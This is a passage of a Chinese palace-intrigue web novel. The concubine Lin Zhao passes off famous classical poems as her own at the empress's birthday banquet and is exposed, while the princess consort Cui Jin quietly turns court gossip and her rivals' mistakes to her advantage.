崔锦笑了笑,忽地转移话题:“这竹节糕不错,给王爷送些过去。” 如春眼神微转,立刻笑道:“是是是,知道您念着王爷了!” “聊什么呢?” 萧临大步进门。 崔锦看到他瞬间笑了,忙迎上前:“王爷怎得这时候来了?” 萧临温声道:“今日难得休沐,来陪你用早膳。” 昨夜他留宿珠玉院,陪林昭养伤,可大抵是连着好几日与崔锦同住,再留宿珠玉院时,他竟有些不习惯。 ——珠玉院满是血腥气与药气,没有叫人舒心的茉莉香,秋纹也吵得他头疼,不及如春几人半点的稳重与眼色。 所以出门后,他下意识就来了正院。 “王爷来得正是时候呢。”如春笑着,状似抱怨,“王妃见着什么好的都想留给王爷,可这竹节糕是膳房送来的,王爷岂会没吃过?偏王妃生怕您少了这一口。” 崔锦被她打趣得赧然,瞪了她一眼:“就你话多!” “奴婢冤枉!您做的可不止这一件,要真叫奴婢说,那得说上三日三夜去!” 她话还没说完,就被恼羞成怒的崔锦赶了出去。 萧临却笑容高扬,握住她的手:“做都做了,怎还害羞得紧?” 崔锦也瞪了他一眼,低头用膳不说话了。 萧临被这一眼瞪得失神一瞬,轻咳一声后,也安静用膳了。 直到膳后,崔锦才拉住他的手,小声道:“妾身做的的确不止这一件,王爷可瞧瞧?” 萧临眉梢微挑,点头。 然后便被崔锦拉着手,带去了里间。 “呶。”崔锦拿起软榻上的白色里衣,抬头笑看着他,“妾身欠王爷的里衣做好了。” 萧临一愣。 那日他只是同崔锦说笑,没想到她真的做了衣裳。 料子是极舒适柔软的,但针脚……颇有些不忍直视。 迎着他打趣的目光,崔锦赧然道:“妾身女红不精……王爷不必穿,收着便好。” 她仅有的时间都用在了读书和练功上,女红的确没下过工夫学。 萧临却兴致盎然,不住抚着里衣:“你亲手做的,本王怎舍得不穿?” 见他当下就解了腰带,崔锦愣了一下:“王爷这是……” “试衣啊。”萧临挑眉。 里间只有他们两人,崔锦只能帮着他脱衣试衣。 没多久,她脸颊一片红晕,眼神躲闪着不敢看不该看的。 萧临倒是自然得很,饶有兴趣地打量着她的反应。 等套上新做的里衣后,他便不动了,擎等着崔锦帮他穿。 崔锦红着脸,小心翼翼地帮他整理妥帖、系腰带,但两人难免会有碰触,她低着头,没发现萧临渐渐暗下的眸光。 等腰带即将系好之际,她猛地被揽住腰身,带去他怀里。 “啊——” 她吓得拽紧他胸前衣襟,未想竟扯得滑落些许,露出大片结实的胸膛。 她忙转过眼不再看。 “怕什么,还能摔了你?”萧临低笑着,轻吻了吻眼下薄红如玉的耳垂。 崔锦抬眸,轻瞪了她一眼,流转着的亲昵与媚意如春华般夺目。 萧临眸色微深,不做犹豫地低头覆上她的唇,辗转研磨。 唇齿分离间,他低喃:“方才你这般瞪我时,便想亲你了……” 想亲得这双媚态丛生的眼眸失神,只看得到他一人。 话落,他又重重亲了上去。 崔锦拽着他的衣襟,不知是推拒还是迎合,半晌后却软了力气。 末了,她靠着他胸膛大口呼吸,脸色红润如云霞。 她也是习武之人,怎得憋气比萧临差这么多…… “怎么了?”萧临说着,又亲了她一下。 崔锦抬眸看他,拖长尾音:“腿软……” 萧临被两个字哄得愉悦,抱着她坐去软榻上。 “王爷不穿衣么?”崔锦努力移开落在眼前胸膛的视线……不是害羞,是怕忍不住。 “不急。”萧临反倒凑得更近了些,叫崔锦直接坐去了他腿上,唇也流连在她耳侧颈间。 腰带摇摇欲坠,腰上暧昧摩挲的手掌似暗示般动作,崔锦轻呼一口气,忽地转移话题:“对了,不知顺天府和大理寺可有结果了?” 萧临头也不抬地回:“方芸和沈家都不追究纵火,崔儒月无罪释放,大理寺已查明你与沈之珩私相授受是被诬陷,想来稍后便有人告知于你了。” 崔锦眼神微闪。 崔儒月想一箭双雕,除了她和方芸。 可谁叫她自己蠢,留下的把柄反倒指证了她自己,还叫崔锦名声彻底洗白。 先前坊间骂她骂得有多狠,现在就有多愧疚。 “此事你可想追究?”萧临忽地问。 崔锦垂下眸:“父亲最疼爱长姐,我又未真的出事……他怕是不许我追究的。” 萧临微顿:“也是,沈之珩好像也要来求你宽恕崔儒月……于他,情面总要讲些。” 话说得宽宏大度。 却是在试探她与沈之珩的曾经。 哪怕她演出的深情已叫他信了九分,他还是有一分疑虑。 崔锦笑了笑:“这世间除了至亲与王爷,无人配叫我讲情面。” 见萧临抬头,她目光坚定而情意炙热地与他对视:“长姐错把鱼目当明珠,反给了我站在王爷身边的机会,不致抱憾终身……看在她错当月老的份上,这回我原谅她,权当谢礼了。” 萧临眸色渐深,含着笑意覆上她的唇。 这回落在她颈间的力道重了许多,带着几分难以自持的冲动。 等他离开时已是半个时辰后。 崔锦坐在妆台前看着颈间的痕迹,嘴里直嘀咕:“怎么跟狗啃了似的……” “王妃。”如春进门道,“大理寺来人了,崔府……也来人了。” 第二十四章 林昭作诗 闻言,崔锦微顿。 崔府的人先到一步,等她出去时,人已经候在外头了。 “属下给王妃请安。” 来人是崔父身边的心腹侍卫崔忠。 源于崔父的态度,他对崔锦也颇为轻慢:“昨日王妃言行过分,竟闹得大姑娘下不来台,老爷闻之震怒,您若不想气着老爷,便尽快给大姑娘赔礼道歉,再将嫁妆所得还给她吧。” “放肆!” 如春忍不住呵斥:“凭你是什么身份,竟敢对王妃颐指气使?来人,给我拉出去打!” 崔忠脸色微变。 “属下是老爷身边第一心腹,王妃可掂量清楚了!” 他话音刚落,几个嬷嬷便大步进门,将他拉了出去。 沉重的板子声响起,崔忠忍痛的闷哼声也随之传来。 崔锦抿了口茶。 若换做前世渴望父爱的她,只消被崔忠稍一威胁,便什么都能答应下来。 但现在……父亲是什么东西? 她不在乎。 片刻后,崔忠被拖了进来。 崔锦放下茶盏,慢声开口:“学会说人话了么?” 崔忠看向她的眼神里有一丝怨愤,更多的却是不受控的惊恐。 他咬牙低下头:“方才……是属下犯上,请王妃莫要计较。” 话落,他这才恭敬道:“可昨日之事闹得大,大姑娘也并非有意针对您……家丑不可外扬,老爷希望王妃宽宏大量,莫要追究此事。” 崔锦没说答应,也没说不答应。 只道:“你回去吧。” 崔忠犹豫着,不确定她是什么意思。 如春叫嬷嬷扶着他出门,含笑敲打:“崔侍卫今日来府是替老爷看望王妃,却一瘸一拐地回去……难免叫人以为王妃不孝。” 崔忠咬牙道:“是属下自己摔了一跤,与王妃无关。” 如春客气点头,亲自送他出门,冷眼看他“不慎”摔下台阶,这才回了正院。 正院里还有人在,这回是崔母身边的孙嬷嬷。 孙嬷嬷轻声嘱咐崔锦:“夫人叫奴婢知会您一声,不必与老爷对着干,您受的委屈,她都已要够了补偿。” 一边说着,她拿出一本账册。 崔锦翻了翻,里头赫然是崔家家产——足有三成之多,比得上她库里那份嫁妆了。 “此外还有些人脉。”孙嬷嬷意味深长,“等时机合适……自有用武之地。” 崔锦笑了:“替我向母亲道声辛苦。” 诬陷王妃的确是重罪,可她并未被伤到什么,以崔儒月尚书嫡女的身份,即便是永隆帝亲审此案,都难免要给几分情面。 若她叫大理寺依法办理,时间久了,外头难免要说她崔锦心狠,连亲姐姐都不放过。 倒不如博个大度的善名,要够好处。 她看着手里丰厚的家产,唇边微扬。 孙嬷嬷也笑了笑:“只要您在王府过得舒心,夫人做什么都不算辛苦。” 两人聊了片刻,孙嬷嬷这才告辞离开。 崔锦去前厅见了大理寺的人,红着眼睛说不追究崔儒月诬陷的行为,博了大理寺不少同情。 不到半日功夫,外头都知道了信王妃大度宽容,不追究长姐之过。 崔锦的名声肉眼可见地好了起来,先前曾因换嫁一事误会过她的,此时俱都愧疚不已。 什么贪慕虚荣的心机妹妹,那分明是个大度善良的倒霉蛋! 与此同时,崔儒月被舆论反噬,举凡有人提起她,随之骂起的便是水性杨花,恶毒伪善。 甚至有好事者还送了沈之珩一顶绿帽子,叫后者当场脸色铁青。 而在崔锦姐妹流言满天之际,还有一条小道消息掺杂在其中——当日侍卫当众承认是受林侧妃指使,重伤崔儒月。 聪明人略一思忖,便知林昭是想替崔锦坐实了杀人灭口的罪名。 没想这么多的,也被林昭公然指使侍卫伤人的行为震惊到了。 ——毕竟她曾口口声声说自己的利剑不会对准手无缚鸡之力的老弱妇孺。 崔儒月品行如何另说,却的确是个弱女子。 林昭本就因为被永隆帝重罚而名声有损,此举又叫不少人对她多了几分审视质疑。 但她的确很会操纵舆论。 没几日,一篇诗作凭空出世,迅速占尽京城目光—— 葡萄美酒夜光杯,欲饮琵琶马上催。 醉卧沙场君莫笑,古来征战几人回? 此诗一出,先前关于林昭的一些质疑迅速消弭于无声,更有无数才子文人为其争辩。 能亲上战场,并写出如此诗篇的女子,怎会是传闻中勾心斗角之人?必是有人陷害! 林昭仅凭一首诗便反败为胜,叫萧临称赞不已,他连日来上朝都被百官屡屡搭话——文臣钦佩林昭的才气,武将伤怀于她诗中的描写,若非男女有别,他们都想亲眼见见林昭。 就这样,萧临一扫颓势,风光更比从前。 如春眼见着形势一面倒向林昭,有些沉不住气:“王妃,王爷宿在珠玉院多日,外头的流言也偏向了林侧妃……我们是不是该出手了?” 现在连膳房都敢明目张胆糊弄正院了! 崔锦不咸不淡地敲着木鱼。 “现在的时机,不够好。” 如春不太明白,只能陪她一起敲木鱼静心,否则她怕自己被珠玉院嚣张的态度气得忍不住。 轰轰烈烈了半个月,终于到了千秋节——皇后的生辰,这才叫林昭的风头小了些许。 皇后虽无子,家世也平平,但素有贤德之名,将后宫打理得井井有条,故而永隆帝也给她几分情面,对千秋节颇为重视。 信王府,崔锦此时刚穿好吉服,又在院中与管家对了一遍寿礼。 林昭盛装款款而来,见状,眼中闪过轻蔑:“礼物贵在心意,而非厚重,王妃到底是后宅女,眼界落了下乘。” 崔锦倒也不怒,反笑道:“比不得侧妃才气逼人,别出心裁。” “你倒是乖觉。”林昭得宠多日,被府里上下捧着,早已恢复傲气,“稍后的千秋宴,可叫你开开眼界。” 崔锦目送她走向马车旁,眼神在她后背扫视片刻。 先前永隆帝那三十大板打得实在,林昭今日也不知是不是在硬撑。 不过出了半个月的风头,今日若她是林昭,也是要强撑着出门巩固文臣武将好感的。 半晌后,萧临终于到了。 “时辰不早,我们快进宫吧。” 崔锦含笑点头,率先上了前面的马车,萧临紧随其后。 后面的马车上,林昭眉头微皱,对萧临此举很不满。 这半个月萧临大半时间都在陪她,只去了正院几回,这叫她重拾信心,要求也更多了。 秋纹低声劝:“您养伤这段日子,那个贱人勾足了王爷的心,但等您今日大放异彩,再为王爷赢回圣宠,那个贱人又何足为惧?” 林昭脸色缓和,清冷的声音满是傲气:“我不似她,只会靠无用的家世!” 她会凭真本事为萧临出谋划策,给他助力! 第二十五章 皇后寿辰 很快便到了皇宫,三人依次下车,先去皇后的鸾凤宫中贺寿。 此时的鸾凤宫已是欢声笑语——除去各宫妃嫔,还有皇后娘家承恩公府的命妇姑娘们。 三人进门行礼,皇后笑容满面,忙叫了起。 “到底是有了家室,老四瞧着稳重不少,面色也愈发鲜亮许多。”她笑对淑妃开口。 淑妃禁足多日,但千秋节前夕,皇后特地求了永隆帝恩典,叫她提前解了禁。 “倒不止是成家之故。”淑妃满面笑容,“哪有母亲寿辰,做儿子的不容光焕发的?” 这话讨巧得叫皇后笑容更深。 崔锦只恭敬地看着她们聊天,适时露出笑容,并不插话。 末了,萧临去了御书房,皇后便对她们道:“还未到开宴的时辰,你们自去外头玩吧。” 淑妃警告地扫过林昭:“你们莫要走远,皇宫可不是那等没规矩的撒野之地。” 崔锦屈膝应下。 林昭眼神阴沉一瞬。 淑妃看不起她的出身,她又何尝看得起淑妃为人妾室,毫无风骨! 几人出了正殿,承恩公府的五姑娘便挽上林昭的手:“林姐姐,你伤好了没有?” 林昭面色微僵:“我是习武之人,这点伤对我算什么?” “也是。”承恩公府五姑娘瞥了崔锦一眼,嗤笑,“即便有些人费尽龌龊心思,也不过伤你皮毛,你随便动动手指,作首诗,便能顷刻间反败为胜!” 崔锦微顿,余光扫过她。 被外头戏楼酒馆洗脑,每天都在为萧临与林昭的绝美爱情落泪的,这位承恩公府五姑娘便是一个。 林昭语气清冷不变:“不过随手之作罢了,竟叫大家盛赞不已,我心中倒是汗颜了。” 提到近日那首诗,不少姑娘们都凑上前,连声夸赞。 她们虽未上过战场,却很钦佩林昭的勇敢,也欣赏向往她如深海般用之不尽的才气。 “林姐姐文武皆是顶尖之才,正与信王表哥郎才女貌,天作之合呢!”郑含玉轻蔑地瞥了崔锦一眼。 见崔锦不语,她冷笑:“你再嫉妒也没用,林姐姐保家护国,百战而归,你我皆要承她恩情!她更不是你这种只会阴私算计的后宅小女子能比得上的……你连给她提鞋都不配!” 林昭呵斥一声:“含玉!我上战场只为百姓,并不是要谁记恩,不必再提这些!” 郑含玉轻哼一声:“林姐姐你不提,我替你提!否则有些人打量你磊落直率,不通后宅争斗,使劲儿害你呢!” “是啊,要说先前骂林姐姐的那些流言没人引导,我是不信的。” 亲近林昭的几个姑娘也跟着含沙射影。 她们肆意惯了,往日对上那些爱慕萧临的姑娘,便是如此夹枪带棒,而今日……莫说只是影射,就算她们真骂了崔锦,有林昭在,她们也绝不会有事! 崔锦不知为何没开口,还摁住了想为她出头的手帕交。 林昭眼神扫过她,声音更加清冷高傲:“好了,我知你们是为我打抱不平,但不必,我与王爷的患难情意,便是天仙来了也挑拨不动。” “林姐姐说得是,后宅女眼中只有那一亩三分地,只看得见男人的宠爱和孩子,哪管什么天下大义,患难情意呢!” “以林姐姐此等才华,若非是女儿身,早该在朝堂有一席之地了,如今屈居王府,王爷若还任你被贱婢欺辱,我们都不服!” 她们你一眼我一语地说着,用词之难听,便是旁观者都有些听不下去了。 而崔锦见她们说完了,才温柔一笑:“若聊完了,我们便离开吧,今日千秋宴,不好坏了母后的兴致。” 她语气温和,全然没有半分被讥讽的愤怒,只在意大局为重。 对比林昭和郑含玉堵着路找茬,气度高下立见。 林昭脸色难看一瞬。 崔锦温声劝她:“若有事,我们回府再议,不可叫人看了府里笑话。” “你充什么王妃架子?”郑含玉皱紧眉头,“一个娶回来管家的摆件儿,竟也敢摆正妻的谱!” 见崔锦蹙眉,她冷笑一声:“信王表哥与林姐姐伉俪情深,此生只会宠她爱她,与她生孩子,林姐姐才是表哥心中唯一的正妻!不被爱的才是妾!” “你怎敢在林姐姐面前充正妻的派头?!” 林昭被这番话捧得脸上微有笑意,可周围却猛地安静下来。 她心觉不对,细品了几句郑含玉的话,这回脸色是真发白了。 不被爱的才是妾……这话私底下说说也就罢了,再不济去外头说也行,却偏偏是在鸾凤宫。 皇后无宠无子,永隆帝独宠贵妃,更曾给过后者象征皇后之位的玉佩……这番话的确讽刺了崔锦,却也影射了皇后。 郑含玉眼见周围人脸色不对,慢半拍地反应过来,腿瞬间软了,险些摔在地上。 她是皇后的侄女,却明着打了皇后的脸。 不……是崔锦在套她的话! 她淬了毒的眼神直直扫向崔锦。 崔锦眉头微蹙:“方才……我走神了一瞬,竟忘了郑五姑娘说什么。” “对对,我也忘了。” “记性不太好了……快走,赏花去吧。” 众人脸色尴尬又微妙,片刻间便都离开了,只剩林昭与郑含玉僵立在原地。 崔锦与安阳县主走去湖边,后者差点笑得发颤:“还是你脑子快……郑五那个蠢货,被林昭当枪使也就算了,还被你坑了个正着!该!” 安阳县主是荣仪大长公主的孙女,与崔锦同拜在周大儒门下,自幼相识。 她与郑含玉一向不对盘,今日看她吃了大亏,高兴得恨不能普天同庆。 崔锦笑了笑,碍于在宫里,她没说心里话。 前世,郑含玉仗着身份可给了崔儒月不少难堪,连带着整个崔家姑娘都被她记恨上,追着骂她们不知廉耻。 好在郑含玉脑子简单,前世今生都被她几句话坑死了。 她们在湖边待了好一会儿,便到了宴会的时辰,先后往太和殿走去。 今日四品及以上官员与家眷俱都参宴,不过少顷便人声鼎沸,觥筹交错。 只有淑妃冰冷刺骨的眼神落在林昭身上,叫她脸色发僵。 萧临还没得到消息,以为淑妃还生气林昭连累她禁足,便微侧了侧身,为林昭挡住淑妃的目光。 此时,众人正向皇后祝寿。 “年年岁岁花相似,岁岁年年人不同。”娴贵妃举起酒杯,“可入宫多年,臣妾岁岁得见皇后娘娘,想是上苍眷顾,便祝娘娘凤体安康,玉颜永驻。” 皇后含笑举杯,与她共饮。 永隆帝笑了一声,点了点娴贵妃:“你今日说话讨喜得很。” “皇上这是嫌臣妾平日不会说话了。”娴贵妃嗔道,“那便叫会说话的人来哄您高兴可好?” 话落,她眼神落在了信王府的席位上。 “林侧妃。” 第二十六章 水调歌头 林昭眼神疑惑,但很快起身:“妾身在。” 娴贵妃放下酒杯,轻笑:“你说的话,本宫爱听,想来皇上皇后也喜欢,上前来说两句祝寿词吧。” 林昭微顿,眼神有一瞬屈辱。 她堂堂正正的王府侧妃,信王的心上人,却被娴贵妃招哈巴狗一样召之即来…… 她拿她当什么! 见她迟迟未动,永隆帝眉头微不可查地皱起一瞬。 萧临立刻起身:“儿臣都尚未向母后祝寿,怎就先叫侧妃去了?母后可不能偏心啊。” 皇后顿时笑了。 但不等她说话,娴贵妃就率先笑道:“林侧妃柳絮才高,连第一才女都甘拜下风……本宫还听皇上称赞过她的诗呢,信王便莫要抢她风头了。” 闻言,林昭眼中闪过了然,挺直的背脊多了三分傲气。 齐学士有些激动地开口:“林侧妃出口成诗,佳句可传千古,老臣从未见过如此天资卓绝之人啊!” “正是,那句‘人生得意须尽欢,莫使金樽空对月’,堪称占尽天下才气,近日又有‘醉卧沙场君莫笑’力压一众才子,微臣枉负皇上钦点状元之名,穷尽一生都无法作出如此传世之作啊!” “今日若能有林侧妃作诗贺寿,皇后娘娘千秋必将更添荣光!” 以齐学士为首的不少文官都对林昭推崇至极。 武将们虽没说话,但对林昭的好感却是肉眼可见的。 无数人的视线都落在信王府的席位上,林昭仿若众星捧月,微扬起下巴,接受四面八方投来的倾慕欣赏目光。 她余光扫过脸色平静的崔锦时,高高在上又极快地闪过一抹不屑。 一无是处,只会勾心斗角的封建女,恐怕这辈子都不会有这般受人瞩目的时候,而这却只是她林昭的常态罢了。 今日之后,满朝文武都将是她林昭的拥趸。 若非崔锦走运嫁入了信王府,恐怕连与她交手的机会都不会有! 她与这种浅薄无知的封建女从来不在一个层次。 “诸位盛情难却,我便为母后作诗一首吧。”林昭终于开口。 不少人看到她毫不露怯的反应,暗暗点头。 齐学士更是激动,做了个“请”的手势,十足客气尊重。 萧临眼眸微动,不由一笑。 林昭既然胸有成竹,他也不拦着了,她的才华值得被所有人看到,或许还能为他争取来齐学士,再度赢回圣心。 有李首辅和齐学士相助,他的势力几乎可以碾压晋王了。 想罢,他含笑的眼神落在林昭身上,专注极了。 林昭唇边微扬,漫不经心地扫过众人,随意开口:“五日后是中秋,妾身便借明月,为母后献上一首《水调歌头》。” 她沉吟片刻,清冷的声音缓缓道出:“明月几时有,把酒问青天,不知天上宫阙,今夕是何年,我欲乘风归去,又恐琼楼玉宇,高处不胜寒,起舞弄清影,何似在人间。” 话音还未落下,殿内便已是一片倒吸冷气的声音。 齐学士等人更是瞬间忘了规矩,直视林昭,眼中满是惊叹,就连晋王党都克制不住地面露惊艳。 只有李首辅皱了皱眉,犹疑不定地看了林昭一眼。 不等他开口,林昭便念出下阕:“转朱阁,低绮户,照无眠,不应有恨,何事长向别时圆?人有悲欢离合,月有阴晴圆缺,此事古难全,但愿人长久,千里共婵娟。” “……” 殿内沉寂良久。 直到齐学士满眼激动地连声道好,殿内才后知后觉地发出如潮水般的赞叹。 众人看向林昭的眼神彻底变了。 他们才意识到林昭出口成诗竟不是戏言,且随口作的诗都能力压大周才子,甚至文官大儒。 “妙!妙啊!” “《水调歌头》情韵兼胜,畦径独辟,可比肩林侧妃先前所作的《将进酒》,必能流传千古!” “林侧妃如此大才,若为男儿身,还有我等什么事?” 大臣们都对林昭赞不绝口,闺阁女子们看向她的眼神或有嫉妒不忿,或有欣赏钦佩。 萧临更是毫不掩饰自己的欣赏,他喜欢的便是林昭闪闪发光,自信孤傲的样子,而她的才华也配得起这份孤傲。 看到对面晋王蓦然沉下的脸色,他笑容更深。 这回不止是齐学士,恐怕有不少文官都要入他阵营了。 林昭面对众人的称赞,依旧脸色平静:“不过随手拙作罢了,若能博母后一笑,便是此诗莫大的福分了。” 皇后本因方才她与郑含玉的话很是膈应,可听完这首林昭送她的诗……她不得不承认,自己被取悦到了。 “你这孩子。”她笑容满面,“能得你赠送千古佳句,该是本宫向你道谢才是。” 林昭屈膝一礼,不卑不亢。 再抬头时,她眼神随意扫过娴贵妃,果然看到后者强颜欢笑的模样。 她唇边溢起讽意。 娴贵妃以为猝不及防提起作诗便能为难住她,继而叫萧临丢人。 但她大抵没想到,半月前那首诗并非她的极限,她还准备了另一首名篇诗句贺寿……即便没有准备,她也不惧被当众刁难! 也不知这群盼着她丢脸的人,心中该有多失望嫉妒。 林昭意味不明地看了眼崔锦。 崔锦温柔回视。 林昭一愣,继而心中嗤笑。 装什么装,面上强颜欢笑,心里只怕嫉妒得恨不得将这首诗抢过去了吧。 她还不知这种女人有多狭隘善妒? 此时,淑妃难得看顺眼了林昭一回,笑对永隆帝道:“如此可传千古的佳句,可见这孩子诚意十足,皇上您觉得如何?” 只要永隆帝当众夸赞,林昭的地位瞬间便会水涨船高,连带着萧临都会好处不断。 淑妃也没想过永隆帝会拒绝——只要他耳朵不聋,说不得还会重赏林昭。 林昭也是这么想的,背脊挺直地道:“妾身自有风骨,不图赏赐,今日只为贺寿,能得母后一笑,便已是对妾身最大的肯定了。” 皇后笑容熨帖。 还不等众人称赞林昭不慕名利的风骨气节,永隆帝便问了一句叫人摸不着头脑的话:“但愿人长久,千里共婵娟……的确堪称千古佳句,这当真是你方才随口之作,此前从未准备?” 第二十七章 林昭抄袭? 林昭只以为是永隆帝惊叹她的才华,未及多想便点了头:“妾身不喜出头,若非娴贵妃提及,妾身不会临场作诗,仓促间没有润色,叫父皇与诸位见笑了。” 她因为称呼“父皇”,已经被御前的太监打过一回脸了。 但今日她有十足的信心能惊艳众所有人,叫起“父皇母后”便更为顺口——她笃信无人会因为这点小细节便得罪她。 她本也是萧临唯一的妻子,该摆出正妻的派头! 而被她提到的娴贵妃连后槽牙都快咬碎了,悔得够呛! “侧妃实在谦虚。”齐学士赞道,“古有才子七步成诗,今有您临场作词,依老臣之见,前者八斗之才,不及您惊才绝艳。” 他心里有些纳闷林昭怎会混淆诗与词的分别。 但因为被这首词惊艳到了,他下意识便为林昭找了借口——想是随性不羁,又面对永隆帝有些紧张吧。 林昭对他微微颔首,态度清傲。 她本就是这般清高性子,当下更该端着几分,可永隆帝却迟迟没有说话。 她眉头微皱。 难道永隆帝不喜傲骨太过的人? “今日之前,朕曾听过这首词,一字不差。” 永隆帝一句话打乱了林昭的思绪,叫她脸色骤变。 众人也面面相觑。 齐学士迅速为林昭找借口:“诗词好作,佳句难得,侧妃如此传世之作,多斟酌些时间也是常理。” 林昭反应过来,迅速道:“妾身被贵妃点名,心中慌乱,只能拿出从前所作的诗充数,又好面子……叫父皇见笑了。” 她努力装作好面子的模样,心中却惊涛骇浪。 她确信自己之前从未在人前提起过这首诗,为何永隆帝会知道? 难道…… 她的解释明面上也说得通,虽然前脚说不慕名利,后脚便承认自己充面子叫人有些看不上,但也没人在这种时候为难她。 林昭松了口气。 但松早了。 永隆帝眼神扫过李阁老,后者当即起身:“《水调歌头》是老臣半月前听闻的词,老臣欣喜之下,与皇上谈论数日,可此词的署名却并非是林侧妃您。” “是谁?”林昭近乎迫切地问。 李阁老微微低头,没有回答。 萧临眉头微皱,不悦道:“阁老言下之意,是暗指侧妃抄袭他人诗作?” “老臣并无此意,只是侧妃献给皇后之作,为示孝心与诚意,总该证明一二。” 萧临脸色不变,林昭这些日子虽有些移了性情,却也不是那等不知廉耻的抄袭之人。 “侧妃品性高洁,傲骨铮铮,本王信她。” 林昭心中动容,又有些得意。 皇后与淑妃也忙打圆场,却被娴贵妃与晋王紧咬不放,暗指他们包庇。 “够了!” 林昭打断他们的话,声音清冷含怒:“我林昭素来磊落,不屑行那等鬼祟之举,若贵妃不信,我便叫您心服口服,望您记得道歉!” 这话有些僭越,娴贵妃却眉梢一挑,应下:“好啊。” 林昭沉吟片刻,斟酌着念了一首记忆中的冷门诗:“海上生明月,天涯共此时,情人怨遥夜,竟夕起相思。” 这首诗叫不少人眼前一亮。 齐学士正想夸赞,忽地顿了一下,转头去看李首辅。 后者眉头紧皱,审视的目光直直落在林昭身上:“此诗名为《望月怀远》。” 他当庭念出了后两句。 林昭脸色顿时惨白。 李首辅……不止听过一首《水调歌头》? 殿内也议论纷纷—— “什么意思?又是抄的?” “别胡说!林侧妃自有其风骨气节,怎会做文抄公?” 萧临心觉不对,开口为林昭打圆场,却被李首辅冷声反驳:“林侧妃抄袭旁人诗作,其行不堪,王爷不以为耻,反还要为其遮掩么?” 看到李首辅失望的眼神,萧临顿时清醒。 “本王——” “你凭什么说我抄袭!”林昭慌不择路,只能死死咬住这点不放,“我年少时作过不少诗,定是被人传扬出去,你如何断定这些诗不是我所作?!” 李首辅眉头紧皱,显然没想到她竟还抵死挣扎。 能混到坐在这里的人,哪个没有眼力?林昭脸上的惊慌失措被看得清清楚楚。 崔锦眼眸微动,余光不经意间扫过对面的崔父。 崔父声音温和地开口:“侧妃素来坦荡,以她的傲气,老臣也不信她会抄袭,李首辅若依旧有疑,不如让她说出这几首诗词的格律平仄,以及作诗背景,还有她所要表达的情感证明,如何?” 李阁老脸色微沉。 萧临却松了口气。 崔家父女果然与人为善,如此打压林昭的良机,他们不作壁上观,反而偏帮林昭……怕是只为叫他脸面上过得去。 他眼神复杂,对林昭点头示意。 众人也觉得崔父傻,格律平仄这么简单的东西,在场绝大多数都能说得出来,而背景情感……胡诌两句都行了。 有人不满他如此拉偏架,却碍于永隆帝没敢说什么,静静等着林昭。 但等了片刻,林昭却渐渐面无人色,袖中的手都颤抖起来。 格律平仄是什么? 崔锦那个贱人,她还没被李首辅断定抄袭,她就急着落井下石来了?! “侧妃?”齐学士面带狐疑,“只是格律平仄而已,会作诗就会格律,您还是快些证明清白吧。” “我、我……”林昭吞吞吐吐,额间冷汗直冒。 她攥紧双手,心中忽然一动。 “可别想着晕啊。”娴贵妃轻笑开口,“若这些诗非你所作,证明我大周还有力压一众文官才子之人,今日无论如何都要还他个清白,否则还不叫天下文人寒心?” 这话正说到点上。 永隆帝冷厉的眼神落在林昭身上,压得她几乎喘不过气来。 “我……《水调歌头》是寄托对亲人的相思,还、还有……”额间的冷汗滑落下来,滴在桌上,林昭却渐渐词不成句,说得艰难。 如此情态,众人还有什么不明白的? “还真是抄的?” “连格律都支支吾吾说不出来,那之前那三十多首诗也是抄的了?她怎么有脸说自己磊落的?” “刚才我就想说了,武将都分得清什么叫诗,什么叫词!” “嘿……武将招你惹你了?” 众人议论纷纷,晋王党更是笑得鄙夷又开心。 晋王妃直接骂道:“什么清冷傲骨,原来只是个龌龊东西!” 她是将门虎女,曾被林昭内涵不通文墨,粗鄙浅薄,那时她真的被文武双全的林昭打击到了,未想林昭竟能无耻至此。 她冷笑一声:“我是不通文墨,可我为人磊落,从不行鬼祟之举,那得多不知廉耻的东西才能干得出来这种事啊!” 这话难听得很,却也只得了皇后几句不痛不痒的呵斥。 在场没几个人看得上林昭的。 先前有多追捧称赞,现在就有多膈应嫌恶。 萧临也没想到会有这样的反转,不可置信地愣在原地。 只是格律平仄而已……他这个以武见长的人都能说道出一二,林昭却一字不通? 他不信邪地追问林昭:“你当真不懂?还是被现在的场面吓到了,说不出话?” 林昭紧咬牙关,不敢看他。 四面八方投来的鄙夷目光叫她摇摇欲坠,脑子嗡嗡作响,手脚冰凉得彻底。 她完了。 第二十八章 萧临是真瞎吧? 殿内很长一段时间都异常尴尬沉默。 萧临迅速出列跪下,不推脱不辩解,只请罪:“侧妃抄袭旁人,乃儿臣失察、治家不严之过,请父皇降罪。” 林昭蓦地清醒,腿脚发软地跟着崔锦一起跪去了中间。 “妾身……知错,请父……皇上降罪。” 她闭了闭眼。 今日之后,她林昭便成了笑话。 她下意识看向萧临,却只看到后者冰冷的侧脸。 永隆帝眼神复杂,看向萧临时又含着失望:“罢了。” 他连提都不想提林昭,也再度对萧临的眼光有了更深一层的认知。 若他此后还坚持独宠林昭……这个儿子就算废了。 大周之主不能是一个囿于情爱,识人不清的瞎子。 萧临揣摩圣心多年,自然察觉到了他的意思,心下微沉。 上首,淑妃薄凉到几乎要吃人的目光扫过林昭,冷声道:“一个品行不堪的卑劣之女,怎配皇上分出心神?你们还不回席去?” 皇后笑容微淡,也道:“今日本宫寿辰,便不与你们计较了。” 话是这样说,可她若真是个逆来顺受,以德报怨之人,后位早就被娴贵妃夺走了。 林昭今日可得罪了她两回。 淑妃眉头微皱,心里恨不得活剐了林昭这个丢人现眼的东西,还要思索该如何赔罪。 娴贵妃掩唇轻笑:“不过一首词罢了,信王若有心弥补,再献一首就是。” 众人眼观鼻鼻观心。 有《水调歌头》珠玉在前——即使那只是林昭抄的,可也难掩其千古佳句的事实,现在叫萧临作词,不说他一个侧重武道的作不作得出来,就算作得出,也势必会被碾压得很难看。 萧临也势必要被文官集团鄙夷之后再排挤。 萧临一党的官员自不会眼睁睁看着主子受辱,极力与出声的晋王党争辩起来,却也只叫场面更难看了。 他们心中愤懑,对林昭的印象一降再降,角落里的林家父子更是丢人得恨不得把头埋进地底去。 但大臣们很快就在萧临的眼神示意下住了嘴。 治国又不靠作诗,只要有机会挽回圣心,萧临觉得现在丢脸也不算什么。 正当他沉思作诗之际,崔锦忽然小心翼翼道:“侧妃无状,妾身也有持家不严之过,愿替侧妃为母后献词,弥补过错。” 话落,不等娴贵妃出言阻止,她便快速开口:“瑶台月满,独照椒房暖,十二珠帘金凤展,步步莲花御苑。 德承周室三春,容倾汉殿千尊,四海齐瞻坤仪,山河长奉慈恩。” 随着最后一句话落下,她恭身叩拜:“恭祝母后德寿双臻,鸾仪永驻——” 